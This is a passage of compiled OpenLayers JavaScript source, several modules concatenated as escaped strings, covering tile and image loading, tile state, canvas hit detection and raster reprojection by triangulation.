of the layer extent */\n if (!containsCoordinate(layerExtent, renderCoordinate)) {\n return null;\n }\n }\n var x = Math.round(renderPixel[0]);\n var y = Math.round(renderPixel[1]);\n var pixelContext = this.pixelContext_;\n if (!pixelContext) {\n var pixelCanvas = document.createElement('canvas');\n pixelCanvas.width = 1;\n pixelCanvas.height = 1;\n pixelContext = pixelCanvas.getContext('2d');\n this.pixelContext_ = pixelContext;\n }\n pixelContext.clearRect(0, 0, 1, 1);\n var data;\n try {\n pixelContext.drawImage(context.canvas, x, y, 1, 1, 0, 0, 1, 1);\n data = pixelContext.getImageData(0, 0, 1, 1).data;\n }\n catch (err) {\n if (err.name === 'SecurityError') {\n // tainted canvas, we assume there is data at the given pixel (although there might not be)\n this.pixelContext_ = null;\n return new Uint8Array();\n }\n return data;\n }\n if (data[3] === 0) {\n return null;\n }\n return data;\n };\n /**\n * Clean up.\n */\n CanvasLayerRenderer.prototype.disposeInternal = function () {\n delete this.frameState;\n _super.prototype.disposeInternal.call(this);\n };\n return CanvasLayerRenderer;\n}(LayerRenderer));\nexport default CanvasLayerRenderer;\n//# sourceMappingURL=Layer.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/Tile\n */\nimport EventTarget from './events/Target.js';\nimport EventType from './events/EventType.js';\nimport TileState from './TileState.js';\nimport { abstract } from './util.js';\nimport { easeIn } from './easing.js';\n/**\n * A function that takes an {@link module:ol/Tile~Tile} for the tile and a\n * `{string}` for the url as arguments. The default is\n * ```js\n * source.setTileLoadFunction(function(tile, src) {\n * tile.getImage().src = src;\n * });\n * ```\n * For more fine grained control, the load function can use fetch or XMLHttpRequest and involve\n * error handling:\n *\n * ```js\n * import TileState from 'ol/TileState';\n *\n * source.setTileLoadFunction(function(tile, src) {\n * var xhr = new XMLHttpRequest();\n * xhr.responseType = 'blob';\n * xhr.addEventListener('loadend', function (evt) {\n * var data = this.response;\n * if (data !== undefined) {\n * tile.getImage().src = URL.createObjectURL(data);\n * } else {\n * tile.setState(TileState.ERROR);\n * }\n * });\n * xhr.addEventListener('error', function () {\n * tile.setState(TileState.ERROR);\n * });\n * xhr.open('GET', src);\n * xhr.send();\n * });\n * ```\n *\n * @typedef {function(Tile, string): void} LoadFunction\n * @api\n */\n/**\n * {@link module:ol/source/Tile~TileSource} sources use a function of this type to get\n * the url that provides a tile for a given tile coordinate.\n *\n * This function takes an {@link module:ol/tilecoord~TileCoord} for the tile\n * coordinate, a `{number}` representing the pixel ratio and a\n * {@link module:ol/proj/Projection~Projection} for the projection as arguments\n * and returns a `{string}` representing the tile URL, or undefined if no tile\n * should be requested for the passed tile coordinate.\n *\n * @typedef {function(import(\"./tilecoord.js\").TileCoord, number,\n * import(\"./proj/Projection.js\").default): (string|undefined)} UrlFunction\n * @api\n */\n/**\n * @typedef {Object} Options\n * @property {number} [transition=250] A duration for tile opacity\n * transitions in milliseconds. A duration of 0 disables the opacity transition.\n * @property {boolean} [interpolate=false] Use interpolated values when resampling. By default,\n * the nearest neighbor is used when resampling.\n * @api\n */\n/**\n * @classdesc\n * Base class for tiles.\n *\n * @abstract\n */\nvar Tile = /** @class */ (function (_super) {\n __extends(Tile, _super);\n /**\n * @param {import(\"./tilecoord.js\").TileCoord} tileCoord Tile coordinate.\n * @param {import(\"./TileState.js\").default} state State.\n * @param {Options} [opt_options] Tile options.\n */\n function Tile(tileCoord, state, opt_options) {\n var _this = _super.call(this) || this;\n var options = opt_options ? opt_options : {};\n /**\n * @type {import(\"./tilecoord.js\").TileCoord}\n */\n _this.tileCoord = tileCoord;\n /**\n * @protected\n * @type {import(\"./TileState.js\").default}\n */\n _this.state = state;\n /**\n * An \"interim\" tile for this tile. The interim tile may be used while this\n * one is loading, for \"smooth\" transitions when changing params/dimensions\n * on the source.\n * @type {Tile}\n */\n _this.interimTile = null;\n /**\n * A key assigned to the tile. This is used by the tile source to determine\n * if this tile can effectively be used, or if a new tile should be created\n * and this one be used as an interim tile for this new tile.\n * @type {string}\n */\n _this.key = '';\n /**\n * The duration for the opacity transition.\n * @type {number}\n */\n _this.transition_ =\n options.transition === undefined ? 250 : options.transition;\n /**\n * Lookup of start times for rendering transitions. If the start time is\n * equal to -1, the transition is complete.\n * @type {Object<string, number>}\n */\n _this.transitionStarts_ = {};\n /**\n * @type {boolean}\n */\n _this.interpolate = !!options.interpolate;\n return _this;\n }\n /**\n * @protected\n */\n Tile.prototype.changed = function () {\n this.dispatchEvent(EventType.CHANGE);\n };\n /**\n * Called by the tile cache when the tile is removed from the cache due to expiry\n */\n Tile.prototype.release = function () { };\n /**\n * @return {string} Key.\n */\n Tile.prototype.getKey = function () {\n return this.key + '/' + this.tileCoord;\n };\n /**\n * Get the interim tile most suitable for rendering using the chain of interim\n * tiles. This corresponds to the most recent tile that has been loaded, if no\n * such tile exists, the original tile is returned.\n * @return {!Tile} Best tile for rendering.\n */\n Tile.prototype.getInterimTile = function () {\n if (!this.interimTile) {\n //empty chain\n return this;\n }\n var tile = this.interimTile;\n // find the first loaded tile and return it. Since the chain is sorted in\n // decreasing order of creation time, there is no need to search the remainder\n // of the list (all those tiles correspond to older requests and will be\n // cleaned up by refreshInterimChain)\n do {\n if (tile.getState() == TileState.LOADED) {\n // Show tile immediately instead of fading it in after loading, because\n // the interim tile is in place already\n this.transition_ = 0;\n return tile;\n }\n tile = tile.interimTile;\n } while (tile);\n // we can not find a better tile\n return this;\n };\n /**\n * Goes through the chain of interim tiles and discards sections of the chain\n * that are no longer relevant.\n */\n Tile.prototype.refreshInterimChain = function () {\n if (!this.interimTile) {\n return;\n }\n var tile = this.interimTile;\n /**\n * @type {Tile}\n */\n var prev = this;\n do {\n if (tile.getState() == TileState.LOADED) {\n //we have a loaded tile, we can discard the rest of the list\n //we would could abort any LOADING tile request\n //older than this tile (i.e. any LOADING tile following this entry in the chain)\n tile.interimTile = null;\n break;\n }\n else if (tile.getState() == TileState.LOADING) {\n //keep this LOADING tile any loaded tiles later in the chain are\n //older than this tile, so we're still interested in the request\n prev = tile;\n }\n else if (tile.getState() == TileState.IDLE) {\n //the head of the list is the most current tile, we don't need\n //to start any other requests for this chain\n prev.interimTile = tile.interimTile;\n }\n else {\n prev = tile;\n }\n tile = prev.interimTile;\n } while (tile);\n };\n /**\n * Get the tile coordinate for this tile.\n * @return {import(\"./tilecoord.js\").TileCoord} The tile coordinate.\n * @api\n */\n Tile.prototype.getTileCoord = function () {\n return this.tileCoord;\n };\n /**\n * @return {import(\"./TileState.js\").default} State.\n */\n Tile.prototype.getState = function () {\n return this.state;\n };\n /**\n * Sets the state of this tile. If you write your own {@link module:ol/Tile~LoadFunction tileLoadFunction} ,\n * it is important to set the state correctly to {@link module:ol/TileState~ERROR}\n * when the tile cannot be loaded. Otherwise the tile cannot be removed from\n * the tile queue and will block other requests.\n * @param {import(\"./TileState.js\").default} state State.\n * @api\n */\n Tile.prototype.setState = function (state) {\n if (this.state !== TileState.ERROR && this.state > state) {\n throw new Error('Tile load sequence violation');\n }\n this.state = state;\n this.changed();\n };\n /**\n * Load the image or retry if loading previously failed.\n * Loading is taken care of by the tile queue, and calling this method is\n * only needed for preloading or for reloading in case of an error.\n * @abstract\n * @api\n */\n Tile.prototype.load = function () {\n abstract();\n };\n /**\n * Get the alpha value for rendering.\n * @param {string} id An id for the renderer.\n * @param {number} time The render frame time.\n * @return {number} A number between 0 and 1.\n */\n Tile.prototype.getAlpha = function (id, time) {\n if (!this.transition_) {\n return 1;\n }\n var start = this.transitionStarts_[id];\n if (!start) {\n start = time;\n this.transitionStarts_[id] = start;\n }\n else if (start === -1) {\n return 1;\n }\n var delta = time - start + 1000 / 60; // avoid rendering at 0\n if (delta >= this.transition_) {\n return 1;\n }\n return easeIn(delta / this.transition_);\n };\n /**\n * Determine if a tile is in an alpha transition. A tile is considered in\n * transition if tile.getAlpha() has not yet been called or has been called\n * and returned 1.\n * @param {string} id An id for the renderer.\n * @return {boolean} The tile is in transition.\n */\n Tile.prototype.inTransition = function (id) {\n if (!this.transition_) {\n return false;\n }\n return this.transitionStarts_[id] !== -1;\n };\n /**\n * Mark a transition as complete.\n * @param {string} id An id for the renderer.\n */\n Tile.prototype.endTransition = function (id) {\n if (this.transition_) {\n this.transitionStarts_[id] = -1;\n }\n };\n return Tile;\n}(EventTarget));\nexport default Tile;\n//# sourceMappingURL=Tile.js.map","/**\n * @module ol/TileState\n */\n/**\n * @enum {number}\n */\nexport default {\n IDLE: 0,\n LOADING: 1,\n LOADED: 2,\n /**\n * Indicates that tile loading failed\n * @type {number}\n */\n ERROR: 3,\n EMPTY: 4,\n};\n//# sourceMappingURL=TileState.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/ImageBase\n */\nimport EventTarget from './events/Target.js';\nimport EventType from './events/EventType.js';\nimport { abstract } from './util.js';\n/**\n * @abstract\n */\nvar ImageBase = /** @class */ (function (_super) {\n __extends(ImageBase, _super);\n /**\n * @param {import(\"./extent.js\").Extent} extent Extent.\n * @param {number|undefined} resolution Resolution.\n * @param {number} pixelRatio Pixel ratio.\n * @param {import(\"./ImageState.js\").default} state State.\n */\n function ImageBase(extent, resolution, pixelRatio, state) {\n var _this = _super.call(this) || this;\n /**\n * @protected\n * @type {import(\"./extent.js\").Extent}\n */\n _this.extent = extent;\n /**\n * @private\n * @type {number}\n */\n _this.pixelRatio_ = pixelRatio;\n /**\n * @protected\n * @type {number|undefined}\n */\n _this.resolution = resolution;\n /**\n * @protected\n * @type {import(\"./ImageState.js\").default}\n */\n _this.state = state;\n return _this;\n }\n /**\n * @protected\n */\n ImageBase.prototype.changed = function () {\n this.dispatchEvent(EventType.CHANGE);\n };\n /**\n * @return {import(\"./extent.js\").Extent} Extent.\n */\n ImageBase.prototype.getExtent = function () {\n return this.extent;\n };\n /**\n * @abstract\n * @return {HTMLCanvasElement|HTMLImageElement|HTMLVideoElement} Image.\n */\n ImageBase.prototype.getImage = function () {\n return abstract();\n };\n /**\n * @return {number} PixelRatio.\n */\n ImageBase.prototype.getPixelRatio = function () {\n return this.pixelRatio_;\n };\n /**\n * @return {number} Resolution.\n */\n ImageBase.prototype.getResolution = function () {\n return /** @type {number} */ (this.resolution);\n };\n /**\n * @return {import(\"./ImageState.js\").default} State.\n */\n ImageBase.prototype.getState = function () {\n return this.state;\n };\n /**\n * Load not yet loaded URI.\n * @abstract\n */\n ImageBase.prototype.load = function () {\n abstract();\n };\n return ImageBase;\n}(EventTarget));\nexport default ImageBase;\n//# sourceMappingURL=ImageBase.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/Image\n */\nimport EventType from './events/EventType.js';\nimport ImageBase from './ImageBase.js';\nimport ImageState from './ImageState.js';\nimport { IMAGE_DECODE } from './has.js';\nimport { getHeight } from './extent.js';\nimport { listenOnce, unlistenByKey } from './events.js';\n/**\n * A function that takes an {@link module:ol/Image~ImageWrapper} for the image and a\n * `{string}` for the src as arguments. It is supposed to make it so the\n * underlying image {@link module:ol/Image~ImageWrapper#getImage} is assigned the\n * content specified by the src. If not specified, the default is\n *\n * function(image, src) {\n * image.getImage().src = src;\n * }\n *\n * Providing a custom `imageLoadFunction` can be useful to load images with\n * post requests or - in general - through XHR requests, where the src of the\n * image element would be set to a data URI when the content is loaded.\n *\n * @typedef {function(ImageWrapper, string): void} LoadFunction\n * @api\n */\nvar ImageWrapper = /** @class */ (function (_super) {\n __extends(ImageWrapper, _super);\n /**\n * @param {import(\"./extent.js\").Extent} extent Extent.\n * @param {number|undefined} resolution Resolution.\n * @param {number} pixelRatio Pixel ratio.\n * @param {string} src Image source URI.\n * @param {?string} crossOrigin Cross origin.\n * @param {LoadFunction} imageLoadFunction Image load function.\n */\n function ImageWrapper(extent, resolution, pixelRatio, src, crossOrigin, imageLoadFunction) {\n var _this = _super.call(this, extent, resolution, pixelRatio, ImageState.IDLE) || this;\n /**\n * @private\n * @type {string}\n */\n _this.src_ = src;\n /**\n * @private\n * @type {HTMLCanvasElement|HTMLImageElement|HTMLVideoElement}\n */\n _this.image_ = new Image();\n if (crossOrigin !== null) {\n _this.image_.crossOrigin = crossOrigin;\n }\n /**\n * @private\n * @type {?function():void}\n */\n _this.unlisten_ = null;\n /**\n * @protected\n * @type {import(\"./ImageState.js\").default}\n */\n _this.state = ImageState.IDLE;\n /**\n * @private\n * @type {LoadFunction}\n */\n _this.imageLoadFunction_ = imageLoadFunction;\n return _this;\n }\n /**\n * @return {HTMLCanvasElement|HTMLImageElement|HTMLVideoElement} Image.\n * @api\n */\n ImageWrapper.prototype.getImage = function () {\n return this.image_;\n };\n /**\n * Tracks loading or read errors.\n *\n * @private\n */\n ImageWrapper.prototype.handleImageError_ = function () {\n this.state = ImageState.ERROR;\n this.unlistenImage_();\n this.changed();\n };\n /**\n * Tracks successful image load.\n *\n * @private\n */\n ImageWrapper.prototype.handleImageLoad_ = function () {\n if (this.resolution === undefined) {\n this.resolution = getHeight(this.extent) / this.image_.height;\n }\n this.state = ImageState.LOADED;\n this.unlistenImage_();\n this.changed();\n };\n /**\n * Load the image or retry if loading previously failed.\n * Loading is taken care of by the tile queue, and calling this method is\n * only needed for preloading or for reloading in case of an error.\n * @api\n */\n ImageWrapper.prototype.load = function () {\n if (this.state == ImageState.IDLE || this.state == ImageState.ERROR) {\n this.state = ImageState.LOADING;\n this.changed();\n this.imageLoadFunction_(this, this.src_);\n this.unlisten_ = listenImage(this.image_, this.handleImageLoad_.bind(this), this.handleImageError_.bind(this));\n }\n };\n /**\n * @param {HTMLCanvasElement|HTMLImageElement|HTMLVideoElement} image Image.\n */\n ImageWrapper.prototype.setImage = function (image) {\n this.image_ = image;\n this.resolution = getHeight(this.extent) / this.image_.height;\n };\n /**\n * Discards event handlers which listen for load completion or errors.\n *\n * @private\n */\n ImageWrapper.prototype.unlistenImage_ = function () {\n if (this.unlisten_) {\n this.unlisten_();\n this.unlisten_ = null;\n }\n };\n return ImageWrapper;\n}(ImageBase));\n/**\n * @param {HTMLCanvasElement|HTMLImageElement|HTMLVideoElement} image Image element.\n * @param {function():any} loadHandler Load callback function.\n * @param {function():any} errorHandler Error callback function.\n * @return {function():void} Callback to stop listening.\n */\nexport function listenImage(image, loadHandler, errorHandler) {\n var img = /** @type {HTMLImageElement} */ (image);\n var listening = true;\n var decoding = false;\n var loaded = false;\n var listenerKeys = [\n listenOnce(img, EventType.LOAD, function () {\n loaded = true;\n if (!decoding) {\n loadHandler();\n }\n }),\n ];\n if (img.src && IMAGE_DECODE) {\n decoding = true;\n img\n .decode()\n .then(function () {\n if (listening) {\n loadHandler();\n }\n })\n .catch(function (error) {\n if (listening) {\n if (loaded) {\n loadHandler();\n }\n else {\n errorHandler();\n }\n }\n });\n }\n else {\n listenerKeys.push(listenOnce(img, EventType.ERROR, errorHandler));\n }\n return function unlisten() {\n listening = false;\n listenerKeys.forEach(unlistenByKey);\n };\n}\nexport default ImageWrapper;\n//# sourceMappingURL=Image.js.map","/**\n * @module ol/reproj\n */\nimport { IMAGE_SMOOTHING_DISABLED } from './renderer/canvas/common.js';\nimport { assign } from './obj.js';\nimport { containsCoordinate, createEmpty, extend, forEachCorner, getCenter, getHeight, getTopLeft, getWidth, } from './extent.js';\nimport { createCanvasContext2D } from './dom.js';\nimport { getPointResolution, transform } from './proj.js';\nimport { solveLinearSystem } from './math.js';\nvar brokenDiagonalRendering_;\n/**\n * @type {Array<HTMLCanvasElement>}\n */\nexport var canvasPool = [];\n/**\n * This draws a small triangle into a canvas by setting the triangle as the clip region\n * and then drawing a (too large) rectangle\n *\n * @param {CanvasRenderingContext2D} ctx The context in which to draw the triangle\n * @param {number} u1 The x-coordinate of the second point. The first point is 0,0.\n * @param {number} v1 The y-coordinate of the second point.\n * @param {number} u2 The x-coordinate of the third point.\n * @param {number} v2 The y-coordinate of the third point.\n */\nfunction drawTestTriangle(ctx, u1, v1, u2, v2) {\n ctx.beginPath();\n ctx.moveTo(0, 0);\n ctx.lineTo(u1, v1);\n ctx.lineTo(u2, v2);\n ctx.closePath();\n ctx.save();\n ctx.clip();\n ctx.fillRect(0, 0, Math.max(u1, u2) + 1, Math.max(v1, v2));\n ctx.restore();\n}\n/**\n * Given the data from getImageData, see if the right values appear at the provided offset.\n * Returns true if either the color or transparency is off\n *\n * @param {Uint8ClampedArray} data The data returned from getImageData\n * @param {number} offset The pixel offset from the start of data.\n * @return {boolean} true if the diagonal rendering is broken\n */\nfunction verifyBrokenDiagonalRendering(data, offset) {\n // the values ought to be close to the rgba(210, 0, 0, 0.75)\n return (Math.abs(data[offset * 4] - 210) > 2 ||\n Math.abs(data[offset * 4 + 3] - 0.75 * 255) > 2);\n}\n/**\n * Determines if the current browser configuration can render triangular clip regions correctly.\n * This value is cached so the function is only expensive the first time called.\n * Firefox on Windows (as of now) does not if HWA is enabled. See https://bugzilla.mozilla.org/show_bug.cgi?id=1606976\n * IE also doesn't. Chrome works, and everything seems to work on OSX and Android. This function caches the\n * result. I suppose that it is conceivably possible that a browser might flip modes while the app is\n * running, but lets hope not.\n *\n * @return {boolean} true if the Diagonal Rendering is broken.\n */\nfunction isBrokenDiagonalRendering() {\n if (brokenDiagonalRendering_ === undefined) {\n var ctx = document.createElement('canvas').getContext('2d');\n ctx.globalCompositeOperation = 'lighter';\n ctx.fillStyle = 'rgba(210, 0, 0, 0.75)';\n drawTestTriangle(ctx, 4, 5, 4, 0);\n drawTestTriangle(ctx, 4, 5, 0, 5);\n var data = ctx.getImageData(0, 0, 3, 3).data;\n brokenDiagonalRendering_ =\n verifyBrokenDiagonalRendering(data, 0) ||\n verifyBrokenDiagonalRendering(data, 4) ||\n verifyBrokenDiagonalRendering(data, 8);\n }\n return brokenDiagonalRendering_;\n}\n/**\n * Calculates ideal resolution to use from the source in order to achieve\n * pixel mapping as close as possible to 1:1 during reprojection.\n * The resolution is calculated regardless of what resolutions\n * are actually available in the dataset (TileGrid, Image, ...).\n *\n * @param {import(\"./proj/Projection.js\").default} sourceProj Source projection.\n * @param {import(\"./proj/Projection.js\").default} targetProj Target projection.\n * @param {import(\"./coordinate.js\").Coordinate} targetCenter Target center.\n * @param {number} targetResolution Target resolution.\n * @return {number} The best resolution to use. Can be +-Infinity, NaN or 0.\n */\nexport function calculateSourceResolution(sourceProj, targetProj, targetCenter, targetResolution) {\n var sourceCenter = transform(targetCenter, targetProj, sourceProj);\n // calculate the ideal resolution of the source data\n var sourceResolution = getPointResolution(targetProj, targetResolution, targetCenter);\n var targetMetersPerUnit = targetProj.getMetersPerUnit();\n if (targetMetersPerUnit !== undefined) {\n sourceResolution *= targetMetersPerUnit;\n }\n var sourceMetersPerUnit = sourceProj.getMetersPerUnit();\n if (sourceMetersPerUnit !== undefined) {\n sourceResolution /= sourceMetersPerUnit;\n }\n // Based on the projection properties, the point resolution at the specified\n // coordinates may be slightly different. We need to reverse-compensate this\n // in order to achieve optimal results.\n var sourceExtent = sourceProj.getExtent();\n if (!sourceExtent || containsCoordinate(sourceExtent, sourceCenter)) {\n var compensationFactor = getPointResolution(sourceProj, sourceResolution, sourceCenter) /\n sourceResolution;\n if (isFinite(compensationFactor) && compensationFactor > 0) {\n sourceResolution /= compensationFactor;\n }\n }\n return sourceResolution;\n}\n/**\n * Calculates ideal resolution to use from the source in order to achieve\n * pixel mapping as close as possible to 1:1 during reprojection.\n * The resolution is calculated regardless of what resolutions\n * are actually available in the dataset (TileGrid, Image, ...).\n *\n * @param {import(\"./proj/Projection.js\").default} sourceProj Source projection.\n * @param {import(\"./proj/Projection.js\").default} targetProj Target projection.\n * @param {import(\"./extent.js\").Extent} targetExtent Target extent\n * @param {number} targetResolution Target resolution.\n * @return {number} The best resolution to use. Can be +-Infinity, NaN or 0.\n */\nexport function calculateSourceExtentResolution(sourceProj, targetProj, targetExtent, targetResolution) {\n var targetCenter = getCenter(targetExtent);\n var sourceResolution = calculateSourceResolution(sourceProj, targetProj, targetCenter, targetResolution);\n if (!isFinite(sourceResolution) || sourceResolution <= 0) {\n forEachCorner(targetExtent, function (corner) {\n sourceResolution = calculateSourceResolution(sourceProj, targetProj, corner, targetResolution);\n return isFinite(sourceResolution) && sourceResolution > 0;\n });\n }\n return sourceResolution;\n}\n/**\n * @typedef {Object} ImageExtent\n * @property {import(\"./extent.js\").Extent} extent Extent.\n * @property {HTMLCanvasElement|HTMLImageElement|HTMLVideoElement} image Image.\n */\n/**\n * Renders the source data into new canvas based on the triangulation.\n *\n * @param {number} width Width of the canvas.\n * @param {number} height Height of the canvas.\n * @param {number} pixelRatio Pixel ratio.\n * @param {number} sourceResolution Source resolution.\n * @param {import(\"./extent.js\").Extent} sourceExtent Extent of the data source.\n * @param {number} targetResolution Target resolution.\n * @param {import(\"./extent.js\").Extent} targetExtent Target extent.\n * @param {import(\"./reproj/Triangulation.js\").default} triangulation Calculated triangulation.\n * @param {Array<ImageExtent>} sources Array of sources.\n * @param {number} gutter Gutter of the sources.\n * @param {boolean} [opt_renderEdges] Render reprojection edges.\n * @param {boolean} [opt_interpolate] Use linear interpolation when resampling.\n * @return {HTMLCanvasElement} Canvas with reprojected data.\n */\nexport function render(width, height, pixelRatio, sourceResolution, sourceExtent, targetResolution, targetExtent, triangulation, sources, gutter, opt_renderEdges, opt_interpolate) {\n var context = createCanvasContext2D(Math.round(pixelRatio * width), Math.round(pixelRatio * height), canvasPool);\n if (!opt_interpolate) {\n assign(context, IMAGE_SMOOTHING_DISABLED);\n }\n if (sources.length === 0) {\n return context.canvas;\n }\n context.scale(pixelRatio, pixelRatio);\n function pixelRound(value) {\n return Math.round(value * pixelRatio) / pixelRatio;\n }\n context.globalCompositeOperation = 'lighter';\n var sourceDataExtent = createEmpty();\n sources.forEach(function (src, i, arr) {\n extend(sourceDataExtent, src.extent);\n });\n var canvasWidthInUnits = getWidth(sourceDataExtent);\n var canvasHeightInUnits = getHeight(sourceDataExtent);\n var stitchContext = createCanvasContext2D(Math.round((pixelRatio * canvasWidthInUnits) / sourceResolution), Math.round((pixelRatio * canvasHeightInUnits) / sourceResolution));\n if (!opt_interpolate) {\n assign(stitchContext, IMAGE_SMOOTHING_DISABLED);\n }\n var stitchScale = pixelRatio / sourceResolution;\n sources.forEach(function (src, i, arr) {\n var xPos = src.extent[0] - sourceDataExtent[0];\n var yPos = -(src.extent[3] - sourceDataExtent[3]);\n var srcWidth = getWidth(src.extent);\n var srcHeight = getHeight(src.extent);\n // This test should never fail -- but it does. Need to find a fix the upstream condition\n if (src.image.width > 0 && src.image.height > 0) {\n stitchContext.drawImage(src.image, gutter, gutter, src.image.width - 2 * gutter, src.image.height - 2 * gutter, xPos * stitchScale, yPos * stitchScale, srcWidth * stitchScale, srcHeight * stitchScale);\n }\n });\n var targetTopLeft = getTopLeft(targetExtent);\n triangulation.getTriangles().forEach(function (triangle, i, arr) {\n /* Calculate affine transform (src -> dst)\n * Resulting matrix can be used to transform coordinate\n * from `sourceProjection` to destination pixels.\n *\n * To optimize number of context calls and increase numerical stability,\n * we also do the following operations:\n * trans(-topLeftExtentCorner), scale(1 / targetResolution), scale(1, -1)\n * here before solving the linear system so [ui, vi] are pixel coordinates.\n *\n * Src points: xi, yi\n * Dst points: ui, vi\n * Affine coefficients: aij\n *\n * | x0 y0 1 0 0 0 | |a00| |u0|\n * | x1 y1 1 0 0 0 | |a01| |u1|\n * | x2 y2 1 0 0 0 | x |a02| = |u2|\n * | 0 0 0 x0 y0 1 | |a10| |v0|\n * | 0 0 0 x1 y1 1 | |a11| |v1|\n * | 0 0 0 x2 y2 1 | |a12| |v2|\n */\n var source = triangle.source;\n var target = triangle.target;\n var x0 = source[0][0], y0 = source[0][1];\n var x1 = source[1][0], y1 = source[1][1];\n var x2 = source[2][0], y2 = source[2][1];\n // Make sure that everything is on pixel boundaries\n var u0 = pixelRound((target[0][0] - targetTopLeft[0]) / targetResolution);\n var v0 = pixelRound(-(target[0][1] - targetTopLeft[1]) / targetResolution);\n var u1 = pixelRound((target[1][0] - targetTopLeft[0]) / targetResolution);\n var v1 = pixelRound(-(target[1][1] - targetTopLeft[1]) / targetResolution);\n var u2 = pixelRound((target[2][0] - targetTopLeft[0]) / targetResolution);\n var v2 = pixelRound(-(target[2][1] - targetTopLeft[1]) / targetResolution);\n // Shift all the source points to improve numerical stability\n // of all the subsequent calculations. The [x0, y0] is used here.\n // This is also used to simplify the linear system.\n var sourceNumericalShiftX = x0;\n var sourceNumericalShiftY = y0;\n x0 = 0;\n y0 = 0;\n x1 -= sourceNumericalShiftX;\n y1 -= sourceNumericalShiftY;\n x2 -= sourceNumericalShiftX;\n y2 -= sourceNumericalShiftY;\n var augmentedMatrix = [\n [x1, y1, 0, 0, u1 - u0],\n [x2, y2, 0, 0, u2 - u0],\n [0, 0, x1, y1, v1 - v0],\n [0, 0, x2, y2, v2 - v0],\n ];\n var affineCoefs = solveLinearSystem(augmentedMatrix);\n if (!affineCoefs) {\n return;\n }\n context.save();\n context.beginPath();\n if (isBrokenDiagonalRendering() || !opt_interpolate) {\n // Make sure that all lines are horizontal or vertical\n context.moveTo(u1, v1);\n // This is the diagonal line. Do it in 4 steps\n var steps = 4;\n var ud = u0 - u1;\n var vd = v0 - v1;\n for (var step = 0; step < steps; step++) {\n // Go horizontally\n context.lineTo(u1 + pixelRound(((step + 1) * ud) / steps), v1 + pixelRound((step * vd) / (steps - 1)));\n // Go vertically\n if (step != steps - 1) {\n context.lineTo(u1 + pixelRound(((step + 1) * ud) / steps), v1 + pixelRound(((step + 1) * vd) / (steps - 1)));\n }\n }\n // We are almost at u0r, v0r\n context.lineTo(u2, v2);\n }\n else {\n context.moveTo(u1, v1);\n context.lineTo(u0, v0);\n context.lineTo(u2, v2);\n }\n context.clip();\n context.transform(affineCoefs[0], affineCoefs[2], affineCoefs[1], affineCoefs[3], u0, v0);\n context.translate(sourceDataExtent[0] - sourceNumericalShiftX, sourceDataExtent[3] - sourceNumericalShiftY);\n context.scale(sourceResolution / pixelRatio, -sourceResolution / pixelRatio);\n context.drawImage(stitchContext.canvas, 0, 0);\n context.restore();\n });\n if (opt_renderEdges) {\n context.save();\n context.globalCompositeOperation = 'source-over';\n context.strokeStyle = 'black';\n context.lineWidth = 1;\n triangulation.getTriangles().forEach(function (triangle, i, arr) {\n var target = triangle.target;\n var u0 = (target[0][0] - targetTopLeft[0]) / targetResolution;\n var v0 = -(target[0][1] - targetTopLeft[1]) / targetResolution;\n var u1 = (target[1][0] - targetTopLeft[0]) / targetResolution;\n var v1 = -(target[1][1] - targetTopLeft[1]) / targetResolution;\n var u2 = (target[2][0] - targetTopLeft[0]) / targetResolution;\n var v2 = -(target[2][1] - targetTopLeft[1]) / targetResolution;\n context.beginPath();\n context.moveTo(u1, v1);\n context.lineTo(u0, v0);\n context.lineTo(u2, v2);\n context.closePath();\n context.stroke();\n });\n context.restore();\n }\n return context.canvas;\n}\n//# sourceMappingURL=reproj.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/ImageTile\n */\nimport Tile from './Tile.js';\nimport TileState from './TileState.js';\nimport { createCanvasContext2D } from './dom.js';\nimport { listenImage } from './Image.js';\nvar ImageTile = /** @class */ (function (_super) {\n __extends(ImageTile, _super);\n /**\n * @param {import(\"./tilecoord.js\").TileCoord} tileCoord Tile coordinate.\n * @param {import(\"./TileState.js\").default} state State.\n * @param {string} src Image source URI.\n * @param {?string} crossOrigin Cross origin.\n * @param {import(\"./Tile.js\").LoadFunction} tileLoadFunction Tile load function.\n * @param 